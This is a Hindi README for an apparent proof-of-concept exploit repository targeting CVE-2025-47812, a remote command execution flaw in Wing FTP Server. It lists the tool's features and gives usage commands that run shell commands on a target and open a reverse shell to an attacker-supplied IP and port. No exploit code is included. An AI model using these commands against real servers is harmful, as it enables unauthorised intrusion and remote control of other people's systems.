CVE-2025-47812 - Wing FTP Server RCE एक्सप्लॉइट

यह रिपॉज़िटरी CVE-2025-47812 के लिए एक proof-of-concept एक्सप्लॉइट प्रदान करती है, जो Wing FTP Server में एक रिमोट कमांड एक्ज़ीक्यूशन (RCE) भेद्यता है। एक हमलावर प्रमाणीकरण के दौरान username पैरामीटर का दुरुपयोग करके मनमाना Lua-आधारित सिस्टम कमांड इंजेक्ट और निष्पादित कर सकता है, जिसके परिणामस्वरूप पूर्ण रिमोट कोड एक्ज़ीक्यूशन होता है।

📌 एक्सप्लॉइट विशेषताएँ

• 🔧 कस्टम शेल कमांड का रिमोट निष्पादन
• 🧬 कई अंतर्निहित रिवर्स शेल पेलोड (bash, Python, netcat, आदि)
• 🪪 Set-Cookie से स्वचालित UID निष्कर्षण
• 📦 सफल UID को found_uids.txt में लॉग करता है
• 🧪 ड्राई-रन मोड (कोई वास्तविक अनुरोध नहीं भेजा जाता — अपने इनपुट/आउटपुट लॉजिक का सुरक्षित रूप से परीक्षण करें)
• 🔁 नेटवर्क विफलता पर रीट्राई लॉजिक
• 🧹 साफ-सुथरा पेलोड फ़ॉर्मेटिंग और पठनीय आउटपुट
• ✅ IP, पोर्ट और URL के लिए इनपुट सत्यापन
• ⚙️ स्वचालित वर्कफ़्लो के लिए कमांड-लाइन आर्गुमेंट समर्थन

💻 उपयोग

एक साधारण शेल कमांड निष्पादित करें:

python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

रिवर्स शेल ट्रिगर करें:

python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

ड्राई-रन मोड (कोई अनुरोध नहीं भेजा जाएगा):

python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run

🔄 मूल एक्सप्लॉइट में किए गए बदलाव

⚠️ अस्वीकरण

यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है।
इस टूल का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।